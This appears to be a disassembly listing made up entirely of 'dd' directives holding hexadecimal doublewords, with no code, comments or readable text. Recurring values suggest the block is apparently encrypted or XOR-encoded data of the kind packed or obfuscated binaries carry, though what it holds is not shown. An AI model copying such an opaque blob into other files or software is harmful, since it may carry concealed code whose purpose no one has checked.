		dd 1B1C9295h, 0A1BE8D5Dh, 0CA0696BAh, 0B451683Ah, 3EBF73ABh
		dd 6456BAB1h, 0CFE0DEC7h, 0BB68F7BBh, 0B24C894h, 0B8599B8Dh
		dd 3256D5BDh, 49EF8CD1h, 32D97A51h, 5356BAB1h, 9AD452E9h
		dd 0C756AEB4h, 20C7ED3Ah, 62AFADA5h, 325150BEh,	0B459EAB1h
		dd 325675B0h, 35D4314Dh, 0CE504737h, 0DB669288h, 325657BEh
		dd 69C36Ah, 67049FD5h, 9FA6168Ch, 52D87604h, 325053E7h
		dd 14615DB1h, 0E9B3FD80h, 30D658E8h, 5256ABB1h,	3D0EB4D0h
		dd 3253BC3Eh, 24D97AB1h, 0DB56BAB1h, 32565DA0h,	0CB532F2h
		dd 280BFE2h, 9D21DA1Bh,	341A528Fh, 5DEC61CDh, 0DB506F32h
		dd 3256BAB9h, 2E87160Bh, 0B9BA324Fh, 0B139D532h, 5242ADABh
		dd 3256C459h, 4BFAA9B1h, 5AB293BCh, 5B0CD8CFh, 7F3EB485h
		dd 8D308749h, 0C70DD9A1h, 526122D0h, 0E2DDB3E2h, 0F0E9E5EFh
		dd 2211FCD0h, 325A31BEh, 0B4595DB1h, 3256AEB7h,	3256DABEh
		dd 0B759ABB1h, 3256D5B9h, 32546DBEh, 533675B1h,	325853E1h
		dd 996C5DB1h, 0A9E2ACDBh, 28B09C4Bh, 17749BEFh,	0B451573Ah
		dd 0B9AEECABh, 0B83645ADh, 3251525Bh, 6A495DB1h, 0CD3B0B5Ch
		dd 30E831A6h, 6A37F206h, 0E3B155D1h, 0CA37A805h, 0CA5E2A38h
		dd 32523458h, 33D252B1h, 0C756AEB1h, 30AE1276h,	3D56ABB1h
		dd 3256DC3Fh, 0F8DD8AB1h
		dd 81770B0Fh, 0BBFDBCEh, 3D565DB1h, 3256A132h, 325CBEB1h
		dd 1AD3ABB1h, 0F79F23EFh, 0D23CAACh, 33AE3076h,	0DB56BAB1h
		dd 32565DBBh, 166964BCh, 0F7BA2198h, 0BD59C173h, 3256D5B9h
		dd 325462BEh, 533675B1h, 0B139003Ah, 0BC595BABh, 3256AEB0h
		dd 5DD4D44Dh, 2650B132h, 325C54BEh, 0B236EAB1h,	0E7EE995Fh
		dd 5322576Dh, 3ABF6A38h, 3956AEB1h, 0BB7FF642h,	0BB4DB65Fh
		dd 3ABFC5F6h, 0C056EAB1h, 0FC8DF577h, 0B115737Dh, 0B7595E49h
		dd 3256AED5h, 32565158h, 0DD5668B1h, 0F5BF4637h, 28D0ED33h
		dd 325677B7h, 85E2DAB1h, 32564958h, 52E19AB1h, 564F3C47h
		dd 3FE471Ah, 8C02A1ACh,	0B90F5B9Ch, 0B93614A7h,	0DBFDB7Eh
		dd 0DB565DB1h, 3256AEA5h, 624FB848h, 0E80987D3h, 0E55EA5C2h
		dd 657B9638h, 0B28B3E37h, 3256B158h, 3C2938B1h,	5E4F8D93h
		dd 0EABF5395h, 3D545332h, 3254DE3Ch, 35D0E5B1h,	3D5675B1h
		dd 3256BB34h, 4FD5A8B1h, 0B659AE49h, 32565705h,	536F19D1h
		dd 331063BEh, 325B03D1h, 0D93075B1h, 0A62FBF4Eh, 2DE52DF5h
		dd 0DB50BD52h, 325657B8h, 0C47F0F4Fh, 63D1603h,	0B2FF8B82h
		dd 3D5675B1h, 32568234h, 3259B4B1h, 75AAAEB1h, 0CD24DC74h
		dd 0E498AE33h, 45FAF47Fh, 0B1A3AA31h, 26BF7059h, 0ED56BAB1h
		dd 220F09C4h, 0F097506Ah, 34698BFh, 0A16C5AA4h,	0DB21D2ECh
		dd 3256EAF3h, 32A95849h, 22BFBAB1h, 0CB565DB1h,	1F2843E2h
		dd 0D51027C0h, 30979550h, 0B171D3E8h, 0DB36EF59h, 325675BBh
		dd 0D276F8D0h, 0D24003F9h, 3CBF669Fh, 355657B1h, 817B0BB2h
		dd 10E8B69Bh, 334FC442h, 1DBF1420h, 0CA56BAB1h,	0A8DDA8E2h
		dd 344C28B6h, 32565158h, 300243B1h, 0B96BE7DFh,	5236D9B5h
		dd 69371448h, 325A36BEh, 0B1595DB1h, 3256AEB7h,	3256D8BEh
		dd 32FFABB1h, 3DD6D5B1h, 32569134h, 3EDA7AB1h, 3D56BAB1h
		dd 32565B32h, 32DEA1B1h, 315657B1h, 35D0A477h, 3D56D5B1h
		dd 3256EB36h, 0BC5989B1h, 3256BAB0h, 3796DE4Dh,	0FCD7C8D1h
		dd 35BE32DAh, 1C56ABB1h, 0B6F4354Bh, 6AAFD938h,	35D476D0h
		dd 0DB50A037h, 32565DB6h, 0EF4759DDh, 0DB76F06Fh, 3256ABB6h
		dd 34A073Ch, 7A5A07F8h,	32567358h, 273D18B1h, 0BB7DCF02h
		dd 0BBA3A6F6h, 0B9365BF6h, 0CEBFCA40h, 0C756D5B0h, 0CB363246h
		dd 0E5A1F4D7h, 0F47DDB74h, 3ED3BD1h, 0C3D7C862h, 0C537893Bh
		dd 3FBFCB69h, 3B56D5B1h, 0F2C5E5FCh, 8C791BF8h,	0D999D5E7h
		dd 3256D6BEh, 0B137AEB1h, 31A35271h, 28D0AC33h,	0C71E29B7h
		dd 3D5EAD38h, 32567C3Ch, 3DAADAB1h, 32565D3Eh, 75DFCFB1h
		dd 30D858BDh, 5256ABB1h, 3ABFB5D0h, 0EE56EAB1h,	9784F9ABh
		dd 0DA7C7E6Dh, 32565DA0h, 4ABB535Ah, 30B7D4A6h,	40E3D988h
		dd 1BBB8148h, 65896ADCh, 42BF14EFh, 0C756BAB0h,	54369D82h
		dd 0F3D7503Ah, 78AA0EE9h, 325C42D0h, 0EEFD5B1h,	104986ABh
		dd 85A77DBBh, 0DB57FC3Bh, 32565DBBh, 0A3995B98h, 0D6C1CB46h
		dd 0B33660FAh, 0BEA6B441h, 0F33D50A4h, 9A3764CAh, 90D3B531h
		dd 3D565DB1h, 3256A63Ch, 30DC58B1h, 5256ABB1h, 0C790D6D0h
		dd 3D542A32h, 3256743Ah, 33ED43B1h, 3D565DB1h, 3256B73Bh
		dd 3242BEB1h, 0AD57ABB1h, 3692130Fh, 3DA88BB8h,	7F4C8A0Bh
		dd 0B7A51513h, 0E95D86B7h, 324E2ABEh, 3ABF57B1h, 9856ABB1h
		dd 0BA71C853h, 0B845BE06h, 2B90312Bh, 0D1D646B7h, 0F155A1B0h
		dd 76EEC8D1h, 325CBF28h, 0C220ABB1h, 73286CF6h,	0E16F4F00h
		dd 0DCD25F0Eh, 0BB37E3FFh, 3FBF55F6h, 6756AEB1h, 4D0F1A6Ah
		dd 0ADDEB423h, 0B23CE40Eh, 0CE5AAD38h, 3256E758h, 8930DAB1h
		dd 0FADDD175h, 0CA8E59D0h, 3256A894h, 0F47D52B1h, 325351BEh
		dd 3D36EAB1h, 0C537B70Eh, 5436DA69h, 0B359973Ah, 3256AEB1h
		dd 36D658D0h, 5456ABB1h, 534DA50Fh, 0DB542A32h,	325675B4h
		dd 26CFB3FDh, 3A11D4DBh, 3256BC58h, 0A44393B1h,	840E6942h
		dd 8E259345h, 0C1B99976h, 0BBE8C8F4h, 5236B6F6h, 0B25905E3h
		dd 3256AEB1h, 3244BED0h, 3973ABB1h, 0E48EDCFCh,	726A35D1h
		dd 61856D67h, 1DAB379Eh, 0B3363DD0h, 1BE42D61h,	53A7DCF4h
		dd 0CA372A04h, 324752BEh, 3EBFEAB1h, 1E5675B1h,	0D65A8423h
		dd 619181DFh, 5328A012h, 325EDEBEh, 0B359ABB1h,	3256D5B3h
		dd 529F8BD1h, 0F1378949h, 0C0DDDCD1h, 0B8E5E4D7h, 0B659FBD0h
		dd 325657BDh, 3256AC58h, 0F599AEB1h, 0C181B89Dh, 6536993Ah
		dd 53099100h, 0CBAA9932h, 0CEECED1h, 0C7679BA2h, 325643D0h
		dd 0B30CD5B1h, 2896E05Bh, 0BC5915B7h, 3256BAB4h, 0FEA5DCD7h
		dd 434A17A9h, 0DB376939h, 3256ABA0h, 0C6CCD2CBh, 0E5F540BBh
		dd 0FC1ABA4Bh, 0DA68EC0Eh, 69ECD6AAh, 5250B432h, 0ECD7A63Ah
		dd 1D169AB6h, 0C79FE6D0h, 3D56D532h, 3252E035h,	3EDCB5B1h
		dd 52565DB1h, 4C916D7h,	1A3B130h, 0B937B30Bh, 0B330B5B6h
		dd 64719358h, 3256F5BEh, 530EBAB1h, 525A284Eh, 0D0D34730h
		dd 0CD3746E5h, 3D36A3C4h, 3256D73Dh, 0DB378AB1h, 325675BAh
		dd 1811B196h, 62DD0EDEh, 535E02F5h, 1FBEABE1h, 0CE56ABB8h
		dd 0B75915BAh, 3256EA83h, 32566558h, 0F6C1C6B1h, 0B137A9B6h
		dd 0AEFA16FAh, 5FE4478Bh, 3D5120A7h, 3256DA30h,	325C03B1h
		dd 0DA975B1h, 0FD662B2h, 6FF4A688h, 32568558h, 0F5D5AFB1h
		dd 325D42A5h, 723ED5B1h, 0B8B1E3F3h, 75773EDBh,	0CD045321h
		dd 3FBFA24Eh, 8B56AEB1h, 0A05407C8h, 0B935A615h, 1806C471h
		dd 0CEAAAF38h, 0CE5A004Eh, 3A23454Dh, 3246B4D1h, 0E6F2AEB1h
		dd 0F2691149h, 0A0E6C7F4h, 8581E38Bh, 0C1DC881Ch, 52618AD0h
		dd 39BE723Ah, 0AA565DB1h, 86861C54h, 7C9AD2E0h,	690467F9h
		dd 0B7BEB4EAh, 5256EAB9h, 0F4A3409h, 0D9D7DCE4h, 39372583h
		dd 2CD2A171h, 0CB5657B1h, 32552A58h, 3CBFB5B1h,	3256EAB1h
		dd 0DF037714h, 0AB5FF6D1h, 0AE4337A5h, 0FAE9A1FCh, 0CE13DCD0h
		dd 32452ABEh, 0B659D5B1h, 3256EABCh, 32567D58h,	0F1DBD7B1h
		dd 1B68A41Dh, 3D519769h, 32551233h, 325042B1h, 9E6DD5B1h
		dd 0A82E4000h, 0CEAA304Eh, 324E31BEh, 21BF5DB1h, 0A156AEB1h
		dd 5C201CB0h, 0A404AEAFh, 30712263h, 3E478E7Eh,	4DD5B570h
		dd 0B659BAB5h, 32565D99h, 3E292D44h, 2FD258B1h,	0DB56ABB1h
		dd 3256D5BAh, 3799C3CEh, 0BF042738h, 0DB0B4133h, 32565DE2h
		dd 54A41FD1h, 534AC90Bh, 0CDA95409h, 32533C4Eh,	0A7F5EAB1h
		dd 8BF34D9Dh, 3256BAB4h, 3250DCBEh, 5436AEB1h, 534F6D08h
		dd 0BE590042h, 3256D5BBh, 8DBD6BD1h, 0B801348Dh, 3CBFDB62h
		dd 4C565DB1h, 7BD3D290h, 0B1322648h, 0E83FB3EDh, 0CC943C6Ch
		dd 0B1A3154Eh, 3D5365CEh, 32562135h, 4DD5A1B1h,	0B759A8A1h
		dd 32565778h, 0F6D713D1h, 8A30E6C4h, 0CE37BCDCh, 2ADD7AF0h
		dd 0DB56BAB1h, 32565DA2h, 0FE2ADC07h, 0F7C25F06h, 95707E4Bh
		dd 3BD124C9h, 3D920FC3h, 32566F3Bh, 0B330DAB1h,	0DBBC2168h
		dd 3256AEBFh, 66F22C70h, 4C67C01Fh, 766EB038h, 0B937E4E5h
		dd 26BF71F6h, 0DE56BAB1h, 2C2A8FDh, 0A877DAE9h,	0D40C0BFh
		dd 0CA222AA1h, 0B9D96C57h, 0B959E6EEh, 325675B0h, 33225348h
		dd 0B9365DB1h, 0BB982F46h, 53013A1Ah, 3256A058h, 0DA88B1B1h
		dd 3616700Ah, 0E1137434h, 0CB52FD3Ah, 0CA5A023Ah, 32579A58h
		dd 0FADD37B1h, 3256A158h, 5CB4A0B1h, 0ED439563h, 53F1BA6Ah
		dd 3CD6B5D1h, 0DA565DB1h, 3256AEB9h, 0F8F27627h, 7CD70111h
		dd 0F0E9DAE9h, 361161D0h
		dd 0F8DD13D1h, 0D316E80Bh, 20BF3CF0h, 0AC56AEB1h, 6B96D419h
		dd 0AE9BC5h, 82E450E6h,	2D903109h, 3E09FE2Dh, 3A098148h
		dd 32D6D8BEh, 60AFAEB1h, 325AD5BEh, 5436ABB1h, 1C632730h
		dd 90DB9409h, 65DD14A3h, 19AA42B5h, 31AF4DE4h, 0DB36BAE4h
		dd 325657B6h, 0BA76F1F2h, 3D60F107h, 0B937150Eh, 0BD5979EEh
		dd 3256BAA4h, 32564D58h, 61CA3DB1h, 0DB241297h,	0C44F165Fh
		dd 2EB1EE93h, 0C78CC185h, 3257F3BEh, 0B1AFBAB1h, 23BF585Ah
		dd 4056AEB1h, 0EEFAAFBBh, 3FC541ECh, 0E04124D9h, 0CC1AB5BFh
		dd 76BF8CEBh, 3D56BAB1h, 32565C36h, 75DD5BB1h, 37BF37B5h
		dd 1E56ABB1h, 3C9EF84h,	538E55BEh, 0CA5A2A3Ah, 0CA52E59Ah
		dd 0CB53B632h, 32324B2h, 0B55951A5h, 3256ABA2h,	3256DB58h
		dd 79591FB1h, 5BCA6465h, 538A0AE7h, 0B18E55EAh,	3D55BECEh
		dd 32564734h, 521753B1h, 3256D258h, 500C1FB1h, 77C2FDEFh
		dd 3D8F91D0h, 32564C3Ch, 39DDA1B1h, 0DB5657B1h,	3256ABB7h
		dd 0FE5AD3EDh, 6EDF2B96h, 523674B0h, 23BFDBD1h,	60565DB1h
		dd 65132356h, 91F77ADFh, 9B52CFA5h, 0B3BEC196h,	0D5A253D0h
		dd 0DB370706h, 3256BAB4h, 0C0166510h, 0CDA916F4h, 0BA59A84Eh
		dd 3256ABBDh, 3256D258h, 8B9EEB1h, 12756E50h, 3256BF08h
		dd 23BF3DB1h, 0E356AEB1h, 0A6EFEEEh, 3653EB10h,	7A142C19h
		dd 9B94C061h, 99A5144Dh, 32473CBEh, 3EBF5DB1h, 6056AEB1h
		dd 0E04ECD1h, 0C39B8BF4h, 0DB680B73h, 0CDA916F1h, 3242FABEh
		dd 3DBFBAB1h, 19565DB1h, 87A8C9E5h, 0CE9B5AA7h,	688CFF51h
		dd 3D37EA80h, 3256EC3Fh, 533615B1h, 3D37E3E2h, 3256453Fh
		dd 324547B1h, 643257B1h, 0ABD63F74h, 889753BCh,	9CDE2200h
		dd 9ED91CA6h, 0F0AE7314h, 67AA5DA1h, 355A16D1h,	0F1D712A9h
		dd 328F795Ah, 0DBBA5ED0h, 3256EABBh, 4CFC727Bh,	0C05875FDh
		dd 0B159E1E2h, 3256AEB6h, 3257DCBEh, 0B1AEABB1h, 3BBF2975h
		dd 0A156EAB1h, 8DBF3026h, 0A203BD2Ah, 0DB013DD1h, 3256AEBDh
		dd 85BEEDBFh, 32689505h, 0D3E58761h, 31DDE5E9h,	545675B1h
		dd 0DA376B3Ah, 32565DB1h, 4EBC2FEBh, 0DB504D74h, 3256ABBEh
		dd 0C1FFCD2Dh, 8EB171EEh, 0E5DEB24Ah, 0C79298B8h, 0B10DE73Ah
		dd 1AEA8ABh, 0DBAF3778h, 3256ABA3h, 36E7EB60h, 0D04EA515h
		dd 3B78D682h, 0ACF096CAh, 0B13734B2h, 0B659AE8Eh, 3256546Ch
		dd 3256A758h, 0C0DEAB1h, 0BBE45E2Ah, 64FAE70h, 3D513168h
		dd 32565539h, 30D4A1B1h, 525657B1h, 3ADAA4D0h, 3D56D5B1h
		dd 3256E830h, 0CD3715B1h, 0DA36B6C4h, 32565DA3h, 3012109Ch
		dd 3E567D4Fh, 9984C937h, 3FDAFEB3h, 0FCDDFEEAh,	32539DEAh
		dd 54E7BAB1h, 64789693h, 0CD37F4E8h, 0B5595FC4h, 3256ABB0h
		dd 0DAAA8544h, 3256E915h, 64DECAD1h, 0B330DCE4h, 53607157h
		dd 0B7596EBAh, 325657F9h, 3256A158h, 0F7A97EB1h, 63CE2802h
		dd 0DB5A43D0h, 3256BABAh, 0E724C4CEh, 0E0116DDFh, 0B9B496AFh
		dd 21ECCBB6h, 5418CD1Eh, 0DB37283Ah, 32567588h,	3256A958h
		dd 9725D8B1h, 0ADE89822h, 0FD5E4FE4h, 6E39465Bh, 2A32ADF5h
		dd 52422D32h, 32567C58h, 0AF8F23B1h, 0BF11A98Ch, 0FCDD3594h
		dd 0CD43BED0h, 0B859544Eh, 3256D5B0h, 0CE136344h, 540F25D1h
		dd 531D470Ah, 3D5A284Eh, 3256A433h, 0F8DD37B1h,	1BC86430h
		dd 0CD37AA89h, 0CDAAE2C4h, 0CFBE8086h, 5256BAB3h, 3250DEBEh
		dd 0BE59AEB1h, 325657B1h, 3937723Ah, 13D2DA71h,	0C756EAB1h
		dd 3254D958h, 27D4B5B1h, 52565DB1h, 3256A959h, 0E29144B1h
		dd 2C1AD402h, 32DCDAE8h, 5356EAB1h, 52AA303Ah, 3256AA58h
		dd 4BEEEB1h, 0A8597004h, 1525C8DDh, 0E689633Fh,	356FB444h
		dd 303968BEh, 543675B1h, 8559483Ah, 77A93C41h, 325E474Dh
		dd 237357B1h, 91DE88F2h, 4DD508DCh, 0B659EAB5h,	325675F3h
		dd 32453EBEh, 3CBF5DB1h, 3456AEB1h, 0A2942C46h,	0C71EB6ACh
		dd 0CC700F29h, 3E2969D7h, 2DD27AB1h, 5256BAB1h,	3254D6BEh
		dd 91E1AEB1h, 53EAB431h, 3256F258h, 0B859B5B1h,	3256EAB1h
		dd 0DFBDF4D7h, 0CDEEDBC1h, 0DBA9A24Eh, 3256AEBEh, 5CDFFEAFh
		dd 3A173CDEh, 2A5B9FFh,	8B338DD0h, 325675B4h, 3256A858h
		dd 4D521FB1h, 0C2BC46E6h, 616E0D9Ah, 0E1C81D93h, 0C129BB28h
		dd 0D7BF1F1Ah, 0DBA98A4Fh, 3256BABBh, 0E4347F76h, 0BCCF1D3Bh
		dd 4DD55BBBh, 0B659AEA1h, 3256D5C6h, 3256FE58h,	0AE9765B1h
		dd 1BABE88h, 5D3B48B4h,	22AFD86Dh, 0A66BAA8Ah, 22292809h
		dd 4AD3DAB7h, 0C756EAB1h, 325E9CF0h, 0C8E2BAB1h, 246B6ABFh
		dd 75DDFA74h, 35D058B5h, 5256ABB1h, 9145E40Eh, 6DDD8BE7h
		dd 26DC7ABDh, 0DB56BAB1h, 32565DBEh, 0BC72E081h, 0B4B5B35Eh
		dd 0DB48C1FEh, 3DB5E613h, 3256E633h, 34D47AB1h,	3D56BAB1h
		dd 32565D31h, 32BD47B1h, 0B9AA57B1h, 0B9AFAFF6h, 0DBA3D9EEh
		dd 3256EA0Dh, 325F9DD1h, 0C862BAB1h, 0DB31383Fh, 88D00038h
		dd 61FDA2F2h, 0B9375EEEh, 3CBFD1F6h, 0D856EAB1h, 76B40E66h
		dd 971C5387h, 0F7F4075h, 3E0925D9h, 81E831D1h, 19375E8Fh
		dd 5436D1EEh, 1F860030h, 32479CE1h, 53BBBAB1h, 86F327CBh
		dd 9AD4E665h, 2AC28A46h, 6B85C680h, 37BD56D0h, 0E8D6BAD1h
		dd 0BF592E15h, 3256BAB5h, 28CBE4D7h, 3BD4A1D0h,	525657B1h
		dd 325628BEh, 53AAD5B1h, 31469532h, 3260F0BEh, 0B459BAB1h
		dd 32565DAAh, 324747D1h, 0ADB457B1h, 0D93EECD8h, 0BA836918h
		dd 27368664h, 5444F7EBh, 7337723Ah, 3258D9BEh, 3BBFAEB1h
		dd 0EA5657B1h, 0F2CD810Ah, 84CAFB0h, 0B759339Ah, 325675BDh
		dd 325036BEh, 0B3595DB1h, 3256AEB1h, 32565F58h,	27AAFBB1h
		dd 1ADBA52Fh, 330A6327h, 0CDEE89B0h, 3DA9454Eh,	32565A31h
		dd 33DBA1B1h, 0CA5657B1h, 3256A658h, 0DD4658B1h, 1D977F27h
		dd 74A3C35Ah, 37EFA3E3h, 0C7565DB1h, 0B9590542h, 325657B6h
		dd 325728BEh, 0DBAAD5B1h, 3256EAB4h, 0AC346F23h, 0CF485396h
		dd 0BF59A24Eh, 3256AEB0h, 0CA363649h, 3256B958h, 771C5CB1h
		dd 347A319Fh, 0F91238EDh, 0F04DC089h, 53C9EE41h, 3A945678h
		dd 3258BEB1h, 0B658ABB1h, 0B7B76944h, 1EA2CE6Dh, 2E4ECCB8h
		dd 325D53E4h, 6D955DB1h, 342EE85Ah, 930639A1h, 0DA06CBD9h
		dd 3256D5B7h, 743CAD7Ah, 690D1CA8h, 3256AB58h, 3D4630B1h
		dd 0E7A13E8Dh, 4E4763E0h, 90F4B5A4h, 0B9371F4Fh, 4EE38A5Dh
		dd 0CE92F6D0h, 523743D1h, 0F5E952D1h, 0B9376C3Ah, 23BF5FF4h
		dd 8856ABB1h, 0AB2B241Fh, 0A8E8E151h, 306F0744h, 12A86290h
		dd 3250DFBEh, 6236AEB1h, 530801EFh, 3D5AEE8Ah, 32568333h
		dd 324603B1h, 0BEEE75B1h, 19C17359h, 23B20832h,	7D993D3Dh
		dd 776DE5ACh, 0AD1A4A1h, 5256D5B1h, 325468BEh, 680075B1h
		dd 0F537483Ah, 3256A1F4h, 3FBFAEB1h, 0E75657B1h, 6A423C3Dh
		dd 68F473F9h, 0C577698h, 32566958h, 3ADFB5B1h, 3D565DB1h
		dd 3256AC31h, 0F53737B1h, 325757F4h, 0DBA3D5B1h, 3256EAB0h
		dd 0BC591448h, 3256BABDh, 3250DDBEh, 0B559AEB1h, 325657B1h
		dd 0DBAAEE3Ah, 3256D5B9h, 79870A2Eh, 0FC714617h, 62EFDCD1h
		dd 3242B5AEh, 692AAEB1h, 0BCE21074h, 5BC6254Eh,	0BB09A4B3h
		dd 0AADB8AC5h, 530F4A73h, 3AD5B578h, 3D565DB1h,	3256AC34h
		dd 0C73737B1h, 0DB56A773h, 3256D5BEh, 3E78B648h, 0F99670C5h
		dd 27488425h, 6752B4D9h, 0F3D75BD1h, 402342FCh,	52BA20D0h
		dd 254F6EE2h, 530DB1D9h
		dd 0CEAAB132h, 32BE46D1h, 68565DB1h, 0F96D4430h, 3BBF51ABh
		dd 0C556ABB1h, 3914AF28h, 0FA882EE1h, 32567358h, 862CB9B1h
		dd 0C7F71082h, 3EBF6782h, 0B45657B1h, 34D948CAh, 75E068BCh
		dd 10E241Eh, 6FDF8C6Ah,	0DB04DA4Dh, 32565DBDh, 935417F2h
		dd 0DA475F1Bh, 5B6DF765h, 53835FE8h, 0B10D503Ah, 3BBF73ABh
		dd 4F56BAB1h, 117CAE4Fh, 0CD961710h, 3D566832h,	32545835h
		dd 39BF2CB1h, 5656EAB1h, 6B6F8E1Fh, 47B468B2h, 0DD58848h
		dd 77D3A14Eh, 3D5657B1h, 3256BE35h, 32463CB1h, 0E000EAB1h
		dd 0CE094B06h, 595DE12Bh, 830DC5ADh, 3CBFBD0Eh,	0DC5657B1h
		dd 0DE7EB81Ch, 1B34F2A6h, 60F01205h, 2691F608h,	325E36BEh
		dd 0B9365DB1h, 0B9ECC849h, 0ABBF36D8h, 0C7A9544Eh, 3252AA32h
		dd 323E6EBEh, 0B85975B1h, 3256BAABh, 0DA94D6D1h, 3256AEA1h
		dd 4CF689DDh, 33834CDBh, 0B363A884h, 2FAF8716h,	0B45914EEh
		dd 3256BAA0h, 32565158h, 67E406B1h, 27A427ACh, 0BDC6EF05h
		dd 3E29565Ch, 15D2E5B1h, 3D5675B1h, 3256BB37h, 0DBA3A1B1h
		dd 3256AEE9h, 3242DDBEh, 3DBFABB1h, 7756D5B1h, 49418A2Fh
		dd 5397B93h, 1435155h, 77A9476Dh, 3247474Dh, 0AEF757B1h
		dd 0F8C25CA8h, 4F58F501h, 0FCF57971h, 0B1544035h, 3D36AE76h
		dd 0C9E28C0Eh, 0CCA847D0h, 23BFA84Eh, 56ABB1h, 5B8F5862h
		dd 0A341EC78h, 32D51D1Eh, 0D2959B1Eh, 37462232h, 32362ABEh
		dd 0B1AF57B1h, 3D50BBCEh, 32567034h, 325003B1h,	136275B1h
		dd 0E5F49F6Bh, 32565558h, 4BD541B1h, 0D214F69Bh, 0B459EAEBh
		dd 3256D5B0h, 36116144h, 3247F5BEh, 3EBFBAB1h, 8E565DB1h
		dd 0B0ED1E7Ah, 77EF5BD8h, 0B9B0B66Ah, 0BE59D9EEh, 3256EAB0h
		dd 32AF9C49h, 35BFBAB1h, 44565DB1h, 0D680DA36h,	75DDC429h
		dd 325042B5h, 7979D5B1h, 0B3610805h, 3E09FE44h,	324253D1h
		dd 8E9F5DB1h, 34A41DC4h, 0DE80FBFBh, 0E01EAF94h, 80C3F438h
		dd 0EAD72811h, 37B68E32h, 32F953D0h, 0B5595DB1h, 3256AEA3h
		dd 32D358D1h, 0DB56ABB1h, 3256D5B4h, 92CE614Ah,	75DD14D9h
		dd 2FDCB5B5h, 3D565DB1h, 3256B938h, 3244BEB1h, 5C7BABB1h
		dd 813850FAh, 0C453508Ch, 10A503B7h, 67875827h,	3D5A023Ah
		dd 3256BA36h, 8D5937B1h, 325C4271h, 0F66ED5B1h,	38380037h
		dd 65A88C5Dh, 360991D0h, 32565058h, 88270B1h, 2285B0A9h
		dd 0B55A04C4h, 0D9D51C8Bh, 33DAE5B4h, 0CB5675B1h, 3146C532h
		dd 327DD8BEh, 0B159AEB1h, 325657BFh, 3256A258h,	0E5FB7FB1h
		dd 0A27AA765h, 35BFB276h, 0C756BAB1h, 2F1E689Bh, 52174774h
		dd 549EE0BEh, 23D64230h, 528FFED0h, 0BB371A3Ah,	0C75774EDh
		dd 0C9E1B5D1h, 3257DEBEh, 53AFAEB1h, 0CDA9A809h, 2AD7A44Eh
		dd 0DB56D5B1h, 3256EAA2h, 562EA66h, 187C7222h, 0C9DE96C5h
		dd 0A05D9AB2h, 8B0A8482h, 3256ABB4h, 3256C158h,	0F37A06B1h
		dd 7B6E65D1h, 0A4662847h, 0DCA9F351h, 96A4D74Ah, 0DBFDA4DCh
		dd 3256ABA3h, 7019BB18h, 0C8CEFF7Fh, 373C519Bh,	0F9316D97h
		dd 13BF9F8Ch, 0C7A9514Ch, 325CBED1h, 78CEABB1h,	35B312BFh
		dd 0F01103Eh, 3253F0BEh, 0B330BAB1h, 5353E572h,	3ED1A1D0h
		dd 3D5657B1h, 3256AD33h, 32D7DAB1h, 0B956EAB1h,	0FBA389F4h
		dd 32593EBEh, 38BF5DB1h, 4856AEB1h, 3D9B4997h, 134819A2h
		dd 3EDDDAADh, 3D56EAB1h, 32567335h, 32DEB5B1h, 0F1565DB1h
		dd 325B21BEh, 3ABF57B1h, 8456ABB1h, 0F5B846ACh,	628E9BB4h
		dd 61A32444h, 325C37BEh, 37BF5DB1h, 7656AEB1h, 3EA55F1Dh
		dd 3256AB59h, 0D8D78FB1h, 344C25B8h, 0B93015D1h, 32DCB561h
		dd 53565DB1h, 0B759CED0h, 325657B7h, 0A63D4130h, 34BEFE00h
		dd 7956EAB1h, 0AA6621D7h, 0BF37E0BEh, 28D2062Bh, 56EE57B7h
		dd 3D5657B1h, 3256A33Bh, 30DBDAB1h, 5256EAB1h, 32469CD0h
		dd 0ECC8BAB1h, 0B133BF13h, 5CC6139Eh, 90EDC761h, 0C1BE932Ch
		dd 5256D5B5h, 0DE886BD7h, 0FEF13E7h, 39DDDBBBh,	3245D1BEh
		dd 3CBFAEB1h, 0A75657B1h, 600132FBh, 0BB132231h, 0F8C55323h
		dd 0CE974E74h, 32563D58h, 33D952B1h, 0CB56AEB1h, 325ED0BEh
		dd 0B559ABB1h, 3256D5B3h, 79558BD1h, 20BF15B5h,	3156BAB1h
		dd 1E67F467h, 39C10725h, 505DB3E6h, 5928A8D4h, 0F36DB490h
		dd 32D668BEh, 3D3675B1h, 54076006h, 530CAF3Ah, 0CE46E5B2h
		dd 0B059968Ah, 3256AB98h, 325751BEh, 0DBAAEAB1h, 32567597h
		dd 26BFE8D1h, 69565DB1h, 5D02DDCFh, 0FB735CECh,	0FB923A9Bh
		dd 36C73FDAh, 68991135h, 323B9CD0h, 8636BAB1h, 56BF3CA0h
		dd 0CA56AEB1h, 5A17CD3Ch, 0B859ADAAh, 3256D5A1h, 3256E158h
		dd 0BDDB14B1h, 925B81B1h, 1B92AC66h, 0B2597D4Eh, 325657B9h
		dd 325428BEh, 5336D5B1h, 3256D858h, 0A8DB89B1h,	344DD1D6h
		dd 0F8EC0DD1h, 6D5B8E07h, 9ADB340Ah, 0E1A9CAFAh, 325A57BEh
		dd 0BB59EAB1h, 325675B7h, 325637BEh, 0B9365DB1h, 0C2D7C843h
		dd 6937DA1Dh, 7B7A12D1h, 0C1D6FE52h, 3D0F8B60h,	32567A36h
		dd 325C53B1h, 0D68A5DB1h, 0C240C08Fh, 43260516h, 8AE6CBE9h
		dd 0DB95B448h, 3256EAB9h, 45D0D40h, 7C4C0CB7h, 0DEDDA8E4h
		dd 32564644h, 0B30C57B1h, 2886695Bh, 32503CB7h,	6A1AEAB1h
		dd 37A475A1h, 32403EBEh, 23BF5DB1h, 0F756AEB1h,	96A3F93h
		dd 0AA735338h, 499AD55Bh, 0CBEA4730h, 32599CD1h, 0E93CBAB1h
		dd 566462D9h, 0F03FCFBh, 87FBA74Dh, 69EC26B2h, 0DB50CF35h
		dd 3256EABAh, 0FEC0B1F9h, 0CEE4A380h, 3D3C714Eh, 3256B635h
		dd 3245BEB1h, 227CABB1h, 4247533h, 8BEDB72Eh, 5AAA60FBh
		dd 424115F7h, 3A13D63Dh, 3256A158h, 0EE841AB1h,	0BCD3003Ah
		dd 0C4CA9DCFh, 901530FEh, 3DBF7238h, 5B56BAB1h,	0CBB19335h
		dd 8E475A46h, 5A329F4Ch, 77DD9B4Fh, 0DDDCB5BDh,	0C54DEA09h
		dd 75DF14EFh, 8D30DAB5h, 0B759AE46h, 3256AEA5h,	32565858h
		dd 1853CDB1h, 58773114h, 7390DF21h, 35D9C98h, 221331D0h
		dd 75DFA548h, 324547BDh, 0B1C257B1h, 5A746E3Dh,	0CADFEE8Dh
